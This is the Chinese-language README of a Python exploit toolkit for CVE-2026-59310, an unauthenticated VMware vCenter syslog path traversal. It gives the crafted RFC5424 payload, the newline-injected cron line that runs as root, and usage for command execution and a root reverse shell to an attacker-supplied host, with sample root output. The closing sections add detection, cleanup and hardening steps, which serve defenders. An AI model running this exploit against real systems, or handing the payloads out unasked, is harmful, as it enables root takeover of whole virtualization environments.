
Python PoC and exploit for CVE-2026-59310, a VMware vCenter syslog path traversal leading to unauthenticated root RCE via cron injection, with detection and cleanup guidance.
免责声明:本项目仅用于授权安全测试、漏洞验证与防御研究。请在获得明确书面授权的环境中使用。使用者需自行承担因滥用导致的一切后果。
| 项目 | 内容 |
|---|---|
| 漏洞名称 | VMware vCenter Syslog 目录遍历漏洞 |
| 漏洞编号 | CVE-2026-59310 |
| 漏洞类型 | 目录遍历(Path Traversal)→ 任意文件写入 → 远程代码执行 |
| CVSS 3.1 | 9.8(Critical) |
| 利用前置 | 仅需可达 syslog 端口(默认 UDP/TCP 514),无需任何凭据 |
| 利用后果 | 以 root 权限写入任意路径并执行任意代码 |
| 公开时间 | 2026-07-29 |
| 在野利用 | 已发现 |
| 厂商通告 | VMSA-2026-0006 |
vCenter 内置的 syslog 接收服务(rsyslog)使用动态路径模板保存日志,模板将报文头中的
APP-NAME、HOSTNAME 字段直接拼接进文件路径,且未做路径净化。攻击者向可达的 syslog
端口发送特制报文,即可让写入路径逃出预定日志目录,进而结合计划任务实现任意代码执行。
vCenter 是虚拟化管理中枢,一旦失陷等同于整个 vSphere / VCF 环境失守。
受影响版本(低于以下修复版本)
同时影响:独立部署的 vCenter,以及 VMware Cloud Foundation、VMware vSphere Foundation、VMware Telco Cloud 中使用的受影响 vCenter 组件。
已验证环境:VMware vCenter Server 9.0.2.0 / Build 25148086, 早于修复版 25629525,确属未修复状态。
/etc/rsyslog.conf(VMware 出厂默认配置):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% 被同时用作目录名和文件名,且没有路径净化。
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
只要求前缀匹配,攻击者用 rsyslog/... 即可命中该规则并进入动态路径模板。
24: $EscapeControlCharactersOnReceive off
报文内容中的换行原样落盘,使得攻击者可以控制写入文件的行结构。
这是本漏洞最容易被漏判的地方。
/ 默认不放行,
导致 APP-NAME 在 / 处被截断 → 无法遍历。APP-NAME 是独立的空格分隔字段,不做字符白名单校验,
/ 与 .. 原样保留 → 可以遍历。服务端 input(type="imudp" port="514") 使用默认规则集,同时接受 RFC5424 报文。
攻击者只需把报文写成 RFC5424 格式,遍历字符即可直达文件路径。
实测对比(同一载荷 rsyslog/../../../../tmp/x):
| 解析器 | 实际 %app-name% 取值 |
|---|---|
| pmrfc3164 | rsyslog ← 在 / 处截断 |
| pmrfc5424 | rsyslog/../../../../tmp/x ← 完整保留 |
旁证:纯
..会被当作字面目录名创建(如rsyslog..),说明 rsyslog 的 omfile 层并未做..归一化;真正决定成败的是解析器能否把/送进字段。
① 无认证 UDP 包 → ② RFC5424 APP-NAME 携带遍历 → ③ 逃出日志目录任意写(root)
↓
⑤ root 代码执行 ← ④ /etc/cron.d 植入计划任务
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
代入模板:
目录 = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
文件 = 同上 + "-syslog.log" → /tmp/PWNED-syslog.log
结果:以 root 属主写入 /tmp/PWNED-syslog.log,缺失父目录自动创建,内容完全可控。
写入文件名固定以 -syslog.log 结尾,无法直接覆盖 /etc/cron.d/xxx。
但借助换行穿透,可在 MSG 中注入换行,让可控内容从文件第 0 列开始:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron 报 "bad minute",忽略
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← 被当作合法 cron 行执行
#
crond 以 root 调度执行,取得:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/(lighttpd 监听 5480),
再经 https://<target>:5480/... 读取,与厂商通告描述一致。/var/spool/cron/root:可写入该目录,但需名为 root 的文件本体,
受 -syslog.log 后缀限制,故 /etc/cron.d/ 更直接。任意文件写入(无认证)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 命名空间版本: 9.0.0.0 (非 appliance build,仅供指纹参考)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 已发送。预期在目标上生成 root 属主文件
# 目标上:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
命令执行(root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 已植入 : /etc/cron.d/cve59310<name>-syslog.log
[i] 读取结果 : cat /tmp/cve59310_<name>.txt
# 约 60s 后:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
交互式反弹 shell(root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <你的IP> --lport 4444
[+] 已监听 0.0.0.0:4444
[+] 已植入 : /etc/cron.d/cve59310<name>-syslog.log
[+] 回连成功,来自 <target>:56184 —— root shell 已建立
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
目标 IP、反弹地址等请替换为你自己的授权测试环境。
exploit_cve_2026_59310.py# 1) 交互式 root 反弹 shell(最常用)
python3 exploit_cve_2026_59310.py <target> --lhost <你的IP> --lport 4444
# 2) 执行单条命令,输出写入目标 /tmp/<name>.txt
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) 非破坏性验证:仅证明无认证任意文件写入
python3 exploit_cve_2026_59310.py <target> --check
# 4) 查看清理命令
python3 exploit_cve_2026_59310.py <target> --cleanup
常用参数:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # 验证任意写
python3 poc_vcenter_rce.py <target> --rce "id" --name t # 命令执行
python3 poc_vcenter_rce.py <target> --cleanup # 清理提示
poc_syslog_traversal.py可独立控制 HOSTNAME / APP-NAME,用于手工构造报文:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
本漏洞只提供写入原语,脚本无法自行删除远端文件。清理需在目标上执行:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# 在 vCenter Shell 中查看版本(Build < 25629525 的 9.0 分支即为未修复)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# 查看是否存在易受攻击的动态路径模板
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# 查看是否开启换行穿透
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) /etc/cron.d 下异常文件(重点:带 -syslog.log 后缀的条目)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) 日志目录外的可疑 *-syslog.log 文件(全盘扫描,最有效)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) 由遍历产生的异常目录(注意路径中含 .. 或 % 等字符的目录)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) VAMI 静态目录被写入的内容
ls -la /opt/vmware/share/htdocs/
# 5) syslog 转发日志中的 hostname 异常(含 / 或 .. 的 APP-NAME)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
提示:第 2 条全盘扫描是最可靠的排查手段。若模板遍历到不存在的路径, rsyslog 会自动创建父目录,因此
/..etc/、/rsyslog../这类畸形目录 也是明确的入侵痕迹。
参照 影响版本 表格升级。9.0 分支最低要求 9.0.2.0100(Build 25629525)。
关闭 RFC5424 攻击面(最直接):为 514/1514 输入显式绑定 pmrfc3164 解析器。
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
显式路径净化:为 omfile 配置 securepath="normal" 与 secpath-drop="replace"。
上游 rsyslog 安全通告(GHSA-xmp9-244p-5ggv)明确指出 securepath 才是可靠的路径边界。
阻断换行穿透:设置 $EscapeControlCharactersOnReceive on。
收紧选择器:将 :app-name, startswith, "rsyslog" 改为精确匹配;
把主机名判断规则改为按来源 IP / 网段白名单,避免任意外部发送者进入动态路径模板。
网络隔离:514/1514 仅对受管 ESXi 与受信日志转发器开放,禁止从非管理网访问。
⚠️ 注意:当前挡住
%hostname%路径的只是 RFC3164 解析器的默认行为这一层偶然防线, 并非可靠安全边界。一旦为兼容性开启permit.slashesinhostname, 同一条规则会立即变为可利用。
Q:为什么工具报的版本是 9.0.0.0,和实际 build 不符?
/sdk/vimServiceVersions.xml 返回的是 API 命名空间版本,不是 appliance build 号,
不能据此判断是否已修复。请在 vCenter Shell 中用 cat /etc/vmware-release 核对真实 build。
Q:命令执行后读不到结果?
crond 为每分钟调度,通常需等待约 60s。此外本漏洞只有写入原语,
脚本无法主动读回文件,需在目标上 cat /tmp/cve59310_<name>.txt。
也可用 --read-cmd 传入外部读取命令(如 ssh root@target cat {path})。
Q:反弹 shell 没有回连?
常见原因:目标无法访问攻击机(防火墙 / NAT / 网段隔离);crond 尚未触发
(可加大 --timeout);监听端口未放行。可用 --method python 切换回退实现。
Q:为什么 -c "a; b" 只拿到部分输出?
已修复。脚本使用 { cmd; } > file 2>&1 分组重定向,
确保整个命令序列的输出都被捕获(a; b > file 只会重定向最后一条)。
| 分支 | 受影响范围 | 修复版本 |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 初始版 / U1 | 全部 | 按受支持路径升级至 8.0 U3k 或更高 |
| 7.0 | 未安装对应扩展支持补丁 | 联系 Broadcom 获取补丁,或迁移至受支持版本 |
| 项目 | 值 |
|---|
| 目标 | VMware vCenter Server 9.0.2.0,Build 25148086 |
| 修复版本 | 9.0.2.0100,Build 25629525 |
| rsyslog | 8.2306.0-4.ph5(VMware 定制包) |
| syslog 端口 | UDP/TCP 514、TCP 1514(TLS) |
| 认证要求 | 无 |
| 参数 | 说明 |
|---|
--port | syslog 端口,默认 514 |
--tcp | 使用 TCP 而非 UDP |
--lhost / --lport | 反弹 shell 回连地址 / 端口 |
--method {bash,python} | 反弹方式,默认 bash(/dev/tcp) |
--name | 单次运行的唯一标识,默认随机 |
--timeout | 等待执行/回连秒数,默认 180 |
-q | 不打印 banner |